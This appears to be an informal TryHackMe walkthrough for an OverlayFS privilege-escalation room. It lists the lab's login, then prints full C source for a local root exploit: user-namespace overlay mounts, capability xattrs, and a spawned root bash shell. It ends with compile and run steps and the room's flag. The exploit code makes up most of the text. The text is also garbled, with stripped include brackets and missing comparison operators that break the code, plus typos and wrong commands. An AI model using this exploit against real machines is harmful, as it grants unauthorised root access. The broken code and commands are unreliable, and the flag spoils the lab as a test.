Room Link : https://tryhackme.com/r/room/overlayfs
STEP1
Username: overlay
Password: tryhackme123
login as
ssh [email protected]
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STEP2
type the password as it will remain not visible
trayhackme123
whoami
ls
you neet ot go to root by
cd /root
permission denied
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STEP3
echo exploit.c
nano exploit.c
#define _GNU_SOURCE
#include stdio.h
#include stdlib.h
#include string.h
#include unistd.h
#include fcntl.h
#include err.h
#include errno.h
#include sched.h
#include sys/types.h
#include sys/stat.h
#include sys/wait.h
#include sys/mount.h
//#include attr/xattr.h
//#include sys/xattr.h
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);
#define DIR_BASE "./ovlcap"
#define DIR_WORK DIR_BASE "/work"
#define DIR_LOWER DIR_BASE "/lower"
#define DIR_UPPER DIR_BASE "/upper"
#define DIR_MERGE DIR_BASE "/merge"
#define BIN_MERGE DIR_MERGE "/magic"
#define BIN_UPPER DIR_UPPER "/magic"
static void xmkdir(const char *path, mode_t mode)
{
if (mkdir(path, mode) == -1 && errno != EEXIST)
err(1, "mkdir %s", path);
}
static void xwritefile(const char *path, const char *data)
{
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "open %s", path);
ssize_t len = (ssize_t) strlen(data);
if (write(fd, data, len) != len)
err(1, "write %s", path);
close(fd);
}
static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
int fi, fo;
if ((fi = open(src, O_RDONLY)) == -1)
err(1, "open %s", src);
if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
err(1, "open %s", dst);
char buf[4096];
ssize_t rd, wr;
for (;;) {
rd = read(fi, buf, sizeof(buf));
if (rd == 0) {
break;
} else if (rd == -1) {
if (errno == EINTR)
continue;
err(1, "read %s", src);
}
char *p = buf;
while (rd 0) {
wr = write(fo, p, rd);
if (wr == -1) {
if (errno == EINTR)
continue;
err(1, "write %s", dst);
}
p += wr;
rd -= wr;
}
}
close(fi);
close(fo);
}
static int exploit()
{
char buf[4096];
sprintf(buf, "rm -rf %s/", DIR_BASE);
system(buf);
xmkdir(DIR_BASE, 0777);
xmkdir(DIR_WORK, 0777);
xmkdir(DIR_LOWER, 0777);
xmkdir(DIR_UPPER, 0777);
xmkdir(DIR_MERGE, 0777);
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
err(1, "unshare");
xwritefile("/proc/self/setgroups", "deny");
sprintf(buf, "0 %d 1", uid);
xwritefile("/proc/self/uid_map", buf);
sprintf(buf, "0 %d 1", gid);
xwritefile("/proc/self/gid_map", buf);
sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
err(1, "mount %s", DIR_MERGE);
// all+ep
char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";
xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
err(1, "setxattr %s", BIN_MERGE);
return 0;
}
int main(int argc, char *argv[])
{
if (strstr(argv[0], "magic") || (argc 1 && !strcmp(argv[1], "shell"))) {
setuid(0);
setgid(0);
execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
err(1, "execl /bin/bash");
}
pid_t child = fork();
if (child == -1)
err(1, "fork");
if (child == 0) {
_exit(exploit());
} else {
waitpid(child, NULL, 0);
}
execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
err(1, "execl %s", BIN_UPPER);
}
ctrl+x
Ctrl+y
enter to save the file
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STEP4
then compile the exploit by
gcc exploit.c -o exploit
run the exploit by
./exploit
whoami
you will be root
cd /root
ls
you will find the flag
cd flag.txt
thm{27aaa5865a52dcd4cb04c0e0a2d39404}
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